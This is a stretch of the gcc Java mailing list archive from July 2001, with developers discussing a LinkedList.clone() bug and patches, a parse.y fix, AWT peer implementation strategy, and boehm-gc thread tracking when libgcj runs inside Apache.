gcc-3.0/libjava/java/util/LinkedList.java Wed Jul 11 20:51:11 2001 > @@ -466,14 +466,7 @@ > */ > public Object clone() > { > - LinkedList copy = null; > - try > - { > - copy = (LinkedList) super.clone(); > - } > - catch (CloneNotSupportedException ex) > - { > - } > + LinkedList copy = new LinkedList(); > copy.size = 0; > copy.addAll(this); > return copy; > > Nothing about LinkedList implements clone() so I'm not sure what the > previous code was trying to do. Thanks for the bug report. The patch isn't correct in the presence of subsclassing due to the use of new instead of clone - for example if you had something like: class MyLinkedList extends LinkedList{} MyLinkedList l = new MyLinkedList(); Object clone = l.clone(); then the runtime type of the clone will be LinkedList instead of MyLinkedList as would be expected. This is a mistake I've made in the past while working on the collections classes ;-) Instead, I think the correct fix is something like: Index: LinkedList.java =================================================================== RCS file: /cvs/gcc/gcc/libjava/java/util/LinkedList.java,v retrieving revision 1.5 diff -u -r1.5 LinkedList.java --- LinkedList.java 2000/12/04 10:20:00 1.5 +++ LinkedList.java 2001/07/13 03:18:11 @@ -474,7 +474,7 @@ catch (CloneNotSupportedException ex) { } - copy.size = 0; + copy.clear(); copy.addAll(this); return copy; } I havn't tested this, however. Could you try it out and get back to me? regards [ bryce ] From java-return-6463-listarch-java=gcc.gnu.org@gcc.gnu.org Fri Jul 13 03:34:47 2001 Return-Path: Delivered-To: listarch-java@gcc.gnu.org Received: (qmail 30056 invoked by alias); 13 Jul 2001 03:34:41 -0000 Mailing-List: contact java-help@gcc.gnu.org; run by ezmlm Precedence: bulk List-Subscribe: List-Archive: List-Post: List-Help: , Sender: java-owner@gcc.gnu.org Delivered-To: mailing list java@gcc.gnu.org Received: (qmail 30032 invoked from network); 13 Jul 2001 03:34:36 -0000 Received: from unknown (HELO waitaki.otago.ac.nz) (139.80.75.140) by sourceware.cygnus.com with SMTP; 13 Jul 2001 03:34:36 -0000 Received: from waitaki.otago.ac.nz (IDENT:bryce@reason.otago.ac.nz [139.80.119.17]) by waitaki.otago.ac.nz (8.11.2/8.11.2) with ESMTP id f6D3acW05804; Fri, 13 Jul 2001 15:36:38 +1200 Message-ID: <3B4E6D23.F7BCD021@waitaki.otago.ac.nz> Date: Fri, 13 Jul 2001 15:38:11 +1200 From: Bryce McKinlay X-Mailer: Mozilla 4.76 [en] (X11; U; Linux 2.4.0-test9 i686) X-Accept-Language: en MIME-Version: 1.0 To: martin.kahlert@infineon.com CC: java@gcc.gnu.org Subject: Re: What classes have depth==0? References: <20010712153126.A32659@keksy.muc.infineon.com> Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Martin Kahlert wrote: > I have the problem, that inside java/lang/natClass.cc > (function _Jv_IsAssignableFrom) i get at the very last if an SEGV > whith my app: I end up with > ancestors = 0x41cfafec, source->depth = 5 target->depth = 0 > If i get here, target is no > - array, > - Interface > - primitive > - ObjectClass > So what the heck is it? The error shows up when compiling a very > huge application with libefence. You can try something like "printf "%s\n", target->name->data" from within gdb to get the name of the class. As an alternative you can add some debugging code to the function to print out the name of the class and other data in the event something unexpected happens (such as a depth == 0 class that is not caught by one of the conditions). As Jeff said, you should also rebuild libgcj with "CCFLAGS = "-O0 -g"" when doing this sort of debugging to avoid seeing confusing behavior from gdb due to optimizations. regards [ bryce ] From java-return-6464-listarch-java=gcc.gnu.org@gcc.gnu.org Fri Jul 13 03:42:57 2001 Return-Path: Delivered-To: listarch-java@gcc.gnu.org Received: (qmail 15318 invoked by alias); 13 Jul 2001 03:42:53 -0000 Mailing-List: contact java-help@gcc.gnu.org; run by ezmlm Precedence: bulk List-Subscribe: List-Archive: List-Post: List-Help: , Sender: java-owner@gcc.gnu.org Delivered-To: mailing list java@gcc.gnu.org Received: (qmail 15284 invoked from network); 13 Jul 2001 03:42:51 -0000 Received: from unknown (HELO bradfitz.com) (65.12.151.124) by sourceware.cygnus.com with SMTP; 13 Jul 2001 03:42:51 -0000 Received: from pepper (dozer [10.0.0.12]) by bradfitz.com (Postfix) with SMTP id C62EF16ABD; Thu, 12 Jul 2001 20:42:49 -0700 (PDT) Message-ID: <02ce01c10b4e$15c1edb0$0c00000a@pepper> From: "Brad Fitzpatrick" To: "Bryce McKinlay" Cc: References: <0be001c10a8d$6d073560$0c00000a@pepper> <3B4E69E0.2F216BA4@waitaki.otago.ac.nz> Subject: Re: LinkedList.clone() bug Date: Thu, 12 Jul 2001 20:44:14 -0700 MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook Express 6.00.2462.0000 X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2462.0000 > > Thanks for the bug report. The patch isn't correct in the presence of > subsclassing due to the use of new instead of clone - for example if you had > something like: > > class MyLinkedList extends LinkedList{} > > MyLinkedList l = new MyLinkedList(); > Object clone = l.clone(); > > then the runtime type of the clone will be LinkedList instead of MyLinkedList > as would be expected. This is a mistake I've made in the past while working on > the collections classes ;-) > > Instead, I think the correct fix is something like: > > Index: LinkedList.java > =================================================================== > RCS file: /cvs/gcc/gcc/libjava/java/util/LinkedList.java,v > retrieving revision 1.5 > diff -u -r1.5 LinkedList.java > --- LinkedList.java 2000/12/04 10:20:00 1.5 > +++ LinkedList.java 2001/07/13 03:18:11 > @@ -474,7 +474,7 @@ > catch (CloneNotSupportedException ex) > { > } > - copy.size = 0; > + copy.clear(); > copy.addAll(this); > return copy; > } > > I havn't tested this, however. Could you try it out and get back to me? > Without testing, my guess is that won't work, as it was seeming like right after the try/catch, (copy == this) was true. I think the result of your change would be that the original object clone was called on would be cleared, as would be the "cloned" object. Consider this: java.lang.Object -- clone() throws CloneNotSupportedException || java.util.AbstractCollection -- no clone() || java.util.AbstractList -- no clone() || java.util.AbstractSequentialList -- no clone() || java.util.LinkedList: public Object clone() { LinkedList copy = null; try { copy = (LinkedList) super.clone() } catch (CloneNotSupportedException ex) { } copy.size = 0; copy.addAll(this); return copy; } To me, it would seem like clone() would throw an NullPointerException when it did copy.size = 0, since copy should still be null? Wouldn't super.clone() throw an exception, since AbstractSequentialList has no clone()? But in my testcase, both l1 and the cloned l2 had their contents doubled, which again suggests this == copy. Maybe I don't understand what's going on (quite likely), but it seems as if the LinkedList clone() is not quite right. Also--- gcj-3.0 compiles my test case fine to bytecodes ... only the native build is messed up. In any case, I'll try out your fix and see if it works, even if I don't understand why it should work. :) - Brad From java-return-6465-listarch-java=gcc.gnu.org@gcc.gnu.org Fri Jul 13 04:08:33 2001 Return-Path: Delivered-To: listarch-java@gcc.gnu.org Received: (qmail 23662 invoked by alias); 13 Jul 2001 04:08:32 -0000 Mailing-List: contact java-help@gcc.gnu.org; run by ezmlm Precedence: bulk List-Subscribe: List-Archive: List-Post: List-Help: , Sender: java-owner@gcc.gnu.org Delivered-To: mailing list java@gcc.gnu.org Received: (qmail 23642 invoked from network); 13 Jul 2001 04:08:31 -0000 Received: from unknown (HELO cc730106-b.taylor1.mi.home.com) (24.13.63.84) by sourceware.cygnus.com with SMTP; 13 Jul 2001 04:08:31 -0000 Received: from localhost (jsturm@localhost) by cc730106-b.taylor1.mi.home.com (8.9.3/8.9.3) with ESMTP id BAA06438; Fri, 13 Jul 2001 01:44:35 -0400 X-Authentication-Warning: mars.deadcafe.org: jsturm owned process doing -bs Date: Fri, 13 Jul 2001 01:44:35 -0400 (EDT) From: Jeff Sturm X-Sender: jsturm@mars.deadcafe.org To: Alexandre Petit-Bianco cc: Java Discuss List Subject: Re: Applications In-Reply-To: <15182.23820.333508.519272@fencer.cygnus.com> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII On Thu, 12 Jul 2001, Alexandre Petit-Bianco wrote: > I'm just about to test this patch. So what was the idea? Defining a > set of applications which execution would test the compiler from > regressions? A we reached conclusion? Or was it for the 3.0? I think application testing was discussed several months ago. A list of candidate apps was posted here, and I picked one and began running its test case. Unfortunately I never finished. Jacl has a comprehensive test suite that covers a lot of java.lang.reflect. I haven't yet identified all the libgcj bugs that cause it to crash. Nor have I had much time to spend... it should be in GNATS, I know. Eventually it'll be a nice regression test, probably for 3.1, as it will not work on 3.0.1 (though it does compile with 3.0). Jeff From java-return-6466-listarch-java=gcc.gnu.org@gcc.gnu.org Fri Jul 13 04:41:23 2001 Return-Path: Delivered-To: listarch-java@gcc.gnu.org Received: (qmail 30538 invoked by alias); 13 Jul 2001 04:41:20 -0000 Mailing-List: contact java-help@gcc.gnu.org; run by ezmlm Precedence: bulk List-Subscribe: List-Archive: List-Post: List-Help: , Sender: java-owner@gcc.gnu.org Delivered-To: mailing list java@gcc.gnu.org Received: (qmail 30517 invoked from network); 13 Jul 2001 04:41:19 -0000 Received: from unknown (HELO cc730106-b.taylor1.mi.home.com) (24.13.63.84) by sourceware.cygnus.com with SMTP; 13 Jul 2001 04:41:19 -0000 Received: from localhost (jsturm@localhost) by cc730106-b.taylor1.mi.home.com (8.9.3/8.9.3) with ESMTP id CAA08100; Fri, 13 Jul 2001 02:17:17 -0400 X-Authentication-Warning: mars.deadcafe.org: jsturm owned process doing -bs Date: Fri, 13 Jul 2001 02:17:17 -0400 (EDT) From: Jeff Sturm X-Sender: jsturm@mars.deadcafe.org To: Per Bothner cc: java-discuss@sources.redhat.com Subject: Re: debugging threads vs processes In-Reply-To: Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII On 12 Jul 2001, Per Bothner wrote: > Thanks to everybody who responded! I still have no idea why > the server is crashing (possibly some weird interaction between > Apache's use of threads and Java's use of threads?), but my > confusion is now at a higher plane of enlightenment! Hmm... are you loading libgcj.so dynamically? The GC may not track threads properly unless it is loaded at startup. Does it make a difference if you LD_PRELOAD libgcjgc.so? Jeff From java-return-6467-listarch-java=gcc.gnu.org@gcc.gnu.org Fri Jul 13 04:44:21 2001 Return-Path: Delivered-To: listarch-java@gcc.gnu.org Received: (qmail 31744 invoked by alias); 13 Jul 2001 04:44:20 -0000 Mailing-List: contact java-help@gcc.gnu.org; run by ezmlm Precedence: bulk List-Subscribe: List-Archive: List-Post: List-Help: , Sender: java-owner@gcc.gnu.org Delivered-To: mailing list java@gcc.gnu.org Received: (qmail 31720 invoked from network); 13 Jul 2001 04:44:20 -0000 Received: from unknown (HELO cygnus.com) (205.180.230.5) by sourceware.cygnus.com with SMTP; 13 Jul 2001 04:44:20 -0000 Received: from fencer.cygnus.com (fencer.cygnus.com [205.180.230.60]) by runyon.cygnus.com (8.8.7-cygnus/8.8.7) with ESMTP id VAA27257; Thu, 12 Jul 2001 21:44:19 -0700 (PDT) Received: (apbianco@localhost) by fencer.cygnus.com (8.9.3/8.6.4) id VAA17556; Thu, 12 Jul 2001 21:44:19 -0700 From: Alexandre Petit-Bianco MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Message-ID: <15182.31907.257631.496334@fencer.cygnus.com> Date: Thu, 12 Jul 2001 21:44:19 -0700 (PDT) To: Jeff Sturm Cc: Java Discuss List Subject: Re: Applications In-Reply-To: References: <15182.23820.333508.519272@fencer.cygnus.com> X-Mailer: VM 6.62 under Emacs 19.34.1 Reply-To: apbianco@cygnus.com X-Organization: Red Hat, Sunnyvale CA, USA. X-URL: http://gcc.gnu.org/java/ X-Zippy: Wait.. is this a FUN THING or the END of LIFE in Petticoat Junction?? Jeff Sturm writes: > Eventually it'll be a nice regression test, probably for 3.1, as it > will not work on 3.0.1 (though it does compile with 3.0). Maybe I should have a look at it. I also thought that Jython would be a nice regression test -- I would guess there are a lot of Python torture tests. Note I'm already running some Kawa tests. We're pretty close to compiling Jython. We're missing RMI and some other misc. packages (like the one that contains JavaLoaderFactory.) BTW, I'm revising my patch, still being tested. ./A 2001-07-12 Alexandre Petit-Bianco * parse.y (patch_method_invocation): Don't override the primary if one is already provided, but let this$ be built. Index: parse.y =================================================================== RCS file: /cvs/gcc/gcc/gcc/java/parse.y,v retrieving revision 1.295 diff -u -p -r1.295 parse.y --- parse.y 2001/07/12 21:36:43 1.295 +++ parse.y 2001/07/13 04:35:53 @@ -10030,7 +10036,7 @@ patch_method_invocation (patch, primary, - LIST is non static. It's invocation is transformed from x(a1,....,an) into access$(this$,a1,...,an). - LIST is static. It's invocation is transformed from - x(a1,....,an) into TYPEOF(this$).x(a1,....an). + x(a1,....,an) into TYPE_OF(this$).x(a1,....an). Of course, this$ can be abitrary complex, ranging from this$0 (the immediate outer context) to @@ -10040,7 +10046,8 @@ patch_method_invocation (patch, primary, this_arg has to be moved into the (then generated) stub argument list. In the meantime, the selected function might have be replaced by a generated stub. */ - if (maybe_use_access_method (is_super_init, &list, &this_arg)) + if (!primary && + maybe_use_access_method (is_super_init, &list, &this_arg)) { args = tree_cons (NULL_TREE, this_arg, args); this_arg = NULL_TREE; /* So it doesn't get chained twice */ From java-return-6468-listarch-java=gcc.gnu.org@gcc.gnu.org Fri Jul 13 13:07:38 2001 Return-Path: Delivered-To: listarch-java@gcc.gnu.org Received: (qmail 16646 invoked by alias); 13 Jul 2001 13:07:38 -0000 Mailing-List: contact java-help@gcc.gnu.org; run by ezmlm Precedence: bulk List-Subscribe: List-Archive: List-Post: List-Help: , Sender: java-owner@gcc.gnu.org Delivered-To: mailing list java@gcc.gnu.org Received: (qmail 16606 invoked from network); 13 Jul 2001 13:07:34 -0000 Received: from unknown (HELO ii.uib.no) (129.177.16.3) by sourceware.cygnus.com with SMTP; 13 Jul 2001 13:07:34 -0000 Received: from apal-192.ii.uib.no (apal.ii.uib.no) [129.177.192.27] by ii.uib.no with esmtp (Exim 3.03) id 15L2fN-0005bM-00 ; Fri, 13 Jul 2001 15:07:33 +0200 Received: (from rolfwr@localhost) by apal.ii.uib.no (8.9.3+Sun/8.9.3) id PAA19142; Fri, 13 Jul 2001 15:07:32 +0200 (MEST) Date: Fri, 13 Jul 2001 15:07:32 +0200 From: "Rolf W. Rasmussen" To: Per Bothner Cc: Cedric Berger , java-discuss@sources.redhat.com Subject: Re: what is the state of awt in lingcj? Message-ID: <20010713150731.A17995@apal.ii.uib.no> References: <87lmltd8f6.fsf@creche.redhat.com> <3B4E3492.5A8E0BDB@wireless-networks.com> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline User-Agent: Mutt/1.2.5i In-Reply-To: ; from per@bothner.com on Thu, Jul 12, 2001 at 05:49:53PM -0700 On Thu, Jul 12, 2001 at 05:49:53PM -0700, Per Bothner wrote: > There are advantages in doing xlib peers (first): > > * More compatible with the Swing model, using light-weight components > where most of the code including look-and-feel are written in Java. This was my original motivation for creating the Xlib peer. I wanted to create a lightweight implementation of the core of AWT so that a clean room Swing implementation could be built on top of it. Pure Xlib doesn't have any native widgets, so I planned to "loop back" the Swing component implementations to separate sub-windows to create the traditional heavyweight AWT components. The screenshots of simple buttons and labels on my website shows an early implementation of this. The problem arose when I tried to implement more complex components such as text fields. First then I realized what a terrible state Swing APIs was in. Swing is horribly underspecified. The documentation of a large portion of classes is practically non-existant, and while the design of Swing on the surface may look sound, the further you dig into the details, the more messy it gets. The chances of creating a proper clean room Swing implementation without seems pretty bleak. In order to make the Xlib usable, we need either to create something resembling Swing, or create a set of simpler component implementations based on the AWT primitives, but as you said... > There are also advantages in concentrating on Gnome first: > * Higher level abstracting means lot of the work is already done. > Re-inventing the wheel is not my idea of fun. I agree. Without a proper Swing implementation, some of the merit of the Xlib peers have disappeared. I haven't had much time to work on libgcj lately, but I hope that will change soon. When that happens I might consider concentrating my efforts on getting get a set of GTK/Gnome peers up and running instead. > Rolf, any comments? Do you have any recent work you haven't > checked in? Is there anything we need besides what's in CVS > to try it out? The old JCNIX libraries has some code that I never merged, including some optimized renderers for the Java2d stuff. Of newer code not in CVS, I have parts of a Swing implementation. You can find the source code at http://www.ii.uib.no/~rolfwr/jcnix/jcnix-swing.tar.gz I'm sorry that I don't have more time to devote to this at the moment. -- Rolf W. Rasmussen From java-return-6469-listarch-java=gcc.gnu.org@gcc.gnu.org Fri Jul 13 15:22:30 2001 Return-Path: Delivered-To: listarch-java@gcc.gnu.org Received: (qmail 27256 invoked by alias); 13 Jul 2001 15:22:30 -0000 Mailing-List: contact java-help@gcc.gnu.org; run by ezmlm Precedence: bulk List-Subscribe: List-Archive: List-Post: List-Help: , Sender: java-owner@gcc.gnu.org Delivered-To: mailing list java@gcc.gnu.org Received: (qmail 27222 invoked from network); 13 Jul 2001 15:22:29 -0000 Received: from unknown (HELO gash2.peakpeak.com) (207.174.178.17) by sourceware.cygnus.com with SMTP; 13 Jul 2001 15:22:29 -0000 Received: from creche.cygnus.com (tq0146.peakpeak.com [207.174.177.146]) by gash2.peakpeak.com (8.9.3/8.9.3) with ESMTP id JAA20487; Fri, 13 Jul 2001 09:22:15 -0600 Received: (from tromey@localhost) by creche.cygnus.com (8.9.3/8.9.3) id JAA11295; Fri, 13 Jul 2001 09:45:37 -0600 To: Jeff Sturm Cc: Per Bothner , java-discuss@sources.redhat.com Subject: Re: debugging threads vs processes References: X-Zippy: Yow! I like my new DENTIST... X-Attribution: Tom Reply-To: tromey@redhat.com From: Tom Tromey Date: 13 Jul 2001 09:45:36 -0600 In-Reply-To: Jeff Sturm's message of "Fri, 13 Jul 2001 02:17:17 -0400 (EDT)" Message-ID: <87sng0j0in.fsf@creche.redhat.com> Lines: 18 X-Mailer: Gnus v5.7/Emacs 20.5 >>>>> "Jeff" == Jeff Sturm writes: Per> Thanks to everybody who responded! I still have no idea why the Per> server is crashing (possibly some weird interaction between Per> Apache's use of threads and Java's use of threads?), but my Per> confusion is now at a higher plane of enlightenment! Jeff> Hmm... are you loading libgcj.so dynamically? The GC may not Jeff> track threads properly unless it is loaded at startup. It might be worse than that. boehm-gc overrides various pthread_* functions so that it can keep track of what is going on. Apache might need to be recompiled so that it calls these functions. At least, if Apache uses threads and if it can create new threads that use libgcj without notifying the GC. This is all platform dependent. Offhand I don't know which platforms use overrides and which use other methods. Tom From java-return-6470-listarch-java=gcc.gnu.org@gcc.gnu.org Fri Jul 13 15:36:10 2001 Return-Path: Delivered-To: listarch-java@gcc.gnu.org Received: (qmail 32241 invoked by alias); 13 Jul 2001 15:36:09 -0000 Mailing-List: contact java-help@gcc.gnu.org; run by ezmlm Precedence: bulk List-Subscribe: List-Archive: List-Post: List-Help: , Sender: java-owner@gcc.gnu.org Delivered-To: mailing list java@gcc.gnu.org Received: (qmail 32217 invoked from network); 13 Jul 2001 15:36:08 -0000 Received: from unknown (HELO cc730106-b.taylor1.mi.home.com) (24.13.63.84) by sourceware.cygnus.com with SMTP; 13 Jul 2001 15:36:08 -0000 Received: from localhost (jsturm@localhost) by cc730106-b.taylor1.mi.home.com (8.9.3/8.9.3) with ESMTP id NAA03453; Fri, 13 Jul 2001 13:13:30 -0400 X-Authentication-Warning: mars.deadcafe.org: jsturm owned process doing -bs Date: Fri, 13 Jul 2001 13:13:30 -0400 (EDT) From: Jeff Sturm X-Sender: jsturm@mars.deadcafe.org To: Tom Tromey cc: Per Bothner , java-discuss@sources.redhat.com Subject: Re: debugging threads vs processes In-Reply-To: <87sng0j0in.fsf@creche.redhat.com> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII On 13 Jul 2001, Tom Tromey wrote: > Jeff> Hmm... are you loading libgcj.so dynamically? The GC may not > Jeff> track threads properly unless it is loaded at startup. > > It might be worse than that. boehm-gc overrides various pthread_* > functions so that it can keep track of what is going on. Apache might > need to be recompiled so that it calls these functions. Yep, link order matters. I'm still curious to see if LD_PRELOAD solves it without a recompile. I think it should. > At least, if Apache uses threads and if it can create new threads that > use libgcj without notifying the GC. As I understand it, that's the point of Per's new invocation interface. Jeff From java-return-6471-listarch-java=gcc.gnu.org@gcc.gnu.org Fri Jul 13 15:40:26 2001 Return-Path: Delivered-To: listarch-java@gcc.gnu.org Received: (qmail 1540 invoked by alias); 13 Jul 2001 15:40:25 -0000 Mailing-List: contact java-help@gcc.gnu.org; run by ezmlm Precedence: bulk List-Subscribe: List-Archive: List-Post: List-Help: , Sender: java-owner@gcc.gnu.org Delivered-To: mailing list java@gcc.gnu.org Received: (qmail 1504 invoked from network); 13 Jul 2001 15:40:20 -0000 Received: from unknown (HELO smtpout.mac.com) (204.179.120.89) by sourceware.cygnus.com with SMTP; 13 Jul 2001 15:40:20 -0000 Received: by smtpout.mac.com; Fri, 13 Jul 2001 08:37:52 -0700 (PDT) From: jpolsonaz@mac.com Message-Id: <200107131537.IAA15814@smtpout.mac.com> Received: from asmtp02.mac.com ([10.13.10.66]) by smtp-relay01.mac.com (Netscape Messaging Server 4.15 relay01 Jun 21 2001 23:53:48) with ESMTP id GGF4R300.UZN for ; Fri, 13 Jul 2001 08:37:51 -0700 Received: from g4cube ([12.34.72.7]) by asmtp02.mac.com (Netscape Messaging Server 4.15 asmtp02 Jun 6 2001 13:16:42) with ESMTP id GGF4R300.0QT; Fri, 13 Jul 2001 08:37:51 -0700 Date: Fri, 13 Jul 2001 08:37:20 -0700 Content-Type: multipart/alternative; boundary=Apple-Mail-1952622153-3 Subject: Re: debugging threads vs processes Cc: "Jeff Sturm" , "Per Bothner" , To: X-Mailer: Apple Mail (2.388) In-Reply-To: <87sng0j0in.fsf@creche.redhat.com> Mime-Version: 1.0 (Apple Message framework v388) --Apple-Mail-1952622153-3 Content-Transfer-Encoding: quoted-printable Content-Type: text/plain; format=flowed; charset=iso-8859-1 Has anybody tried using IBM's new Linux threading library with GCJ? My personal experience with the currently released LinuxThreads is that multi-threaded applications are almost undebuggable. LinuxThreads currently has a bug that causes all threads to wakeup from semaphores the first time you connect a debugger to the process. This, of course,=20= immediately crashes most multi-threaded applications since they don't expect to wake up until the semaphore actually gets signaled. Sure would be nice if IBMs threading library actually fixed linux's=20 threads. For now, I do most multi-threaded debugging on Mach. On Friday, July 13, 2001, at 08:45 AM, Tom Tromey wrote: > >>>>> "Jeff" =3D=3D Jeff Sturm writes: > > Per> Thanks to everybody who responded!=A0 I still have no idea why = the > Per> server is crashing (possibly some weird interaction between > Per> Apache's use of threads and Java's use of threads?), but my > Per> confusion is now at a higher plane of enlightenment! > > Jeff> Hmm... are you loading libgcj.so dynamically?=A0 The GC may not > Jeff> track threads properly unless it is loaded at startup. > > It might be worse than that.=A0 boehm-gc overrides various pthread_* > functions so that it can keep track of what is going on.=A0 Apache = might > need to be recompiled so that it calls these functions.=A0 At least, = if > Apache uses threads and if it can create new threads that use libgcj > without notifying the GC.=A0 This is all platform dependent.=A0 = Offhand I > don't know which platforms use overrides and which use other methods. > > Tom > --Apple-Mail-1952622153-3 Content-Transfer-Encoding: quoted-printable Content-Type: text/enriched; charset=iso-8859-1 Has anybody tried using IBM's new Linux threading library with GCJ? My personal experience with the currently released LinuxThreads is that multi-threaded applications are almost undebuggable. LinuxThreads currently has a bug that causes all threads to wakeup from semaphores the first time you connect a debugger to the process. This, of course, immediately crashes most multi-threaded applications since they don't expect to wake up until the semaphore actually gets signaled. Sure would be nice if IBMs threading library actually fixed linux's threads. For now, I do most multi-threaded debugging on Mach. On Friday, July 13, 2001, at 08:45 AM, Tom Tromey wrote: >>>>> "Jeff" =3D=3D Jeff Sturm < writes: Per> Thanks to everybody who responded!=A0 I still have no idea why the Per> server is crashing (possibly some weird interaction between Per> Apache's use of threads and Java's use of threads?), but my Per> confusion is now at a higher plane of enlightenment! Jeff> Hmm... are you loading libgcj.so dynamically?=A0 The GC may not Jeff> track threads properly unless it is loaded at startup. It might be worse than that.=A0 boehm-gc overrides various pthread_* functions so that it can keep track of what is going on.=A0 Apache might need to be recompiled so that it calls these functions.=A0 At least, if Apache uses threads and if it can create new threads that use libgcj without notifying the GC.=A0 This is all platform dependent.=A0 Offhand = I don't know which platforms use overrides and which use other = methods. Tom = --Apple-Mail-1952622153-3-- From java-return-6472-listarch-java=gcc.gnu.org@gcc.gnu.org Fri Jul 13 15:50:01 2001 Return-Path: Delivered-To: listarch-java@gcc.gnu.org Received: (qmail 6799 invoked by alias); 13 Jul 2001 15:50:01 -0000 Mailing-List: contact java-help@gcc.gnu.org; run by ezmlm Precedence: bulk List-Subscribe: List-Archive: List-Post: List-Help: , Sender: java-owner@gcc.gnu.org Delivered-To: mailing list java@gcc.gnu.org Received: (qmail 6757 invoked from network); 13 Jul 2001 15:50:00 -0000 Received: from unknown (HELO crewsoft.com) (157.22.214.1) by sourceware.cygnus.com with SMTP; 13 Jul 2001 15:50:00 -0000 Received: from [63.197.8.222] (account cberger@wireless-networks.com HELO wireless-networks.com) by crewsoft.com (CommuniGate Pro SMTP 3.4.7) with ESMTP id 778243; Fri, 13 Jul 2001 08:53:30 -0700 Message-ID: <3B4F18E5.A33A0B57@wireless-networks.com> Date: Fri, 13 Jul 2001 08:51:01 -0700 From: Cedric Berger X-Mailer: Mozilla 4.76 [en] (Windows NT 5.0; U) X-Accept-Language: en MIME-Version: 1.0 To: jpolsonaz@mac.com CC: tromey@redhat.com, Jeff Sturm , Per Bothner , java-discuss@sources.redhat.com Subject: Re: debugging threads vs processes References: <200107131537.IAA15814@smtpout.mac.com> Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit jpolsonaz@mac.com wrote: > Has anybody tried using IBM's new Linux threading library with GCJ? > > My personal experience with the currently released LinuxThreads is that > multi-threaded applications are almost undebuggable. LinuxThreads > currently has a bug that causes all threads to wakeup from semaphores > the first time you connect a debugger to the process. This, of course, immediately > crashes most multi-threaded applications since they don't expect to wake > up until the semaphore actually gets signaled. The "wakeup from semaphore" should not be too much of a problem in Java, because properly written Java never blindly trust "semaphores", but use code be written this way: synchronized myFunction() { while(condition not met) object.wait(); // this "semaphore" can get glitches, it doesn't matter. } Now, of course, if the "mutex" which is used to implements the "synchronized" keyword itself suffers the same problem, this would be a disaster.... Anyay, I unfortunately agree with your comments. Cedric From java-return-6473-listarch-java=gcc.gnu.org@gcc.gnu.org Fri Jul 13 16:26:03 2001 Return-Path: Delivered-To: listarch-java@gcc.gnu.org Received: (qmail 17878 invoked by alias); 13 Jul 2001 16:26:02 -0000 Mailing-List: contact java-help@gcc.gnu.org; run by ezmlm Precedence: bulk List-Subscribe: List-Archive: List-Post: List-Help: , Sender: java-owner@gcc.gnu.org Delivered-To: mailing list java@gcc.gnu.org Received: (qmail 17832 invoked from network); 13 Jul 2001 16:25:57 -0000 Received: from unknown (HELO deimos.hpl.hp.com) (192.6.19.190) by sourceware.cygnus.com with SMTP; 13 Jul 2001 16:25:57 -0000 Received: from hplms2.hpl.hp.com (hplms2.hpl.hp.com [15.0.152.33]) by deimos.hpl.hp.com (8.9.3 (PHNE_18546)/HPL-PA Relay) with ESMTP id JAA08439; Fri, 13 Jul 2001 09:25:35 -0700 (PDT) Received: from hplex1.hpl.hp.com (hplex1.hpl.hp.com [15.0.152.182]) by hplms2.hpl.hp.com (8.10.2/8.10.2 HPL-PA Hub) with SMTP id f6DGPst01067; Fri, 13 Jul 2001 09:25:54 -0700 (PDT) Received: from 15.0.152.182 by hplex1.hpl.hp.com (InterScan E-Mail VirusWall NT); Fri, 13 Jul 2001 09:25:54 -0700 (Pacific Daylight Time) Received: by hplex1.hpl.hp.com with Internet Mail Service (5.5.2650.21) id <33TM5GLX>; Fri, 13 Jul 2001 09:25:54 -0700 Message-ID: <140D21516EC2D3119EE7009027876644049B5F1F@hplex1.hpl.hp.com> From: "Boehm, Hans" To: "'tromey@redhat.com'" , Jeff Sturm Cc: Per Bothner , java-discuss@sources.redhat.com Subject: RE: debugging threads vs processes Date: Fri, 13 Jul 2001 09:25:53 -0700 MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2650.21) Content-Type: text/plain; charset="iso-8859-1" > From: Tom Tromey [mailto:tromey@redhat.com] > It might be worse than that. boehm-gc overrides various pthread_* > functions so that it can keep track of what is going on. Apache might > need to be recompiled so that it calls these functions. At least, if > Apache uses threads and if it can create new threads that use libgcj > without notifying the GC. This is all platform dependent. Offhand I > don't know which platforms use overrides and which use other methods. > On Unix-like platforms it uses overrides implemented with macros in gc.h. With GNU ld, the collector should also be able to implement the overrides with --wrap instead of using macro definitions. This might make it unnecessary to recompile other code in situations like this, but I don't think the libgcj build process currently supports it. Nor has it received a lot of testing. Any threads created without the wrapper for pthread_create will not be stopped, not will the corresponding stack be scanned by the gc. There may be other issues if they are, for example, joined by a thread the gc knows about. With win32 threads, DllMain is used to watch for new threads. That mechanism seems to work unless there are threads already running when the collector dll is loaded. Hans From java-return-6474-listarch-java=gcc.gnu.org@gcc.gnu.org Fri Jul 13 16:31:14 2001 Return-Path: Delivered-To: listarch-java@gcc.gnu.org Received: (qmail 20288 invoked by alias); 13 Jul 2001 16:31:14 -0000 Mailing-List: contact java-help@gcc.gnu.org; run by ezmlm Precedence: bulk List-Subscribe: List-Archive: List-Post: List-Help: , Sender: java-owner@gcc.gnu.org Delivered-To: mailing list java@gcc.gnu.org Received: (qmail 20160 invoked from network); 13 Jul 2001 16:31:09 -0000 Received: from unknown (HELO gash2.peakpeak.com) (207.174.178.17) by sourceware.cygnus.com with SMTP; 13 Jul 2001 16:31:09 -0000 Received: from creche.cygnus.com (tq0146.peakpeak.com [207.174.177.146]) by gash2.peakpeak.com (8.9.3/8.9.3) with ESMTP id KAA32136; Fri, 13 Jul 2001 10:30:49 -0600 Received: (from tromey@localhost) by creche.cygnus.com (8.9.3/8.9.3) id KAA11741; Fri, 13 Jul 2001 10:54:12 -0600 To: jpolsonaz@mac.com Cc: "Jeff Sturm" , "Per Bothner" , Subject: Re: debugging threads vs processes References: <200107131537.IAA15814@smtpout.mac.com> X-Zippy: JAPAN is a WONDERFUL planet -- I wonder if we'll ever reach their level of COMPARATIVE SHOPPING... X-Attribution: Tom Reply-To: tromey@redhat.com From: Tom Tromey Date: 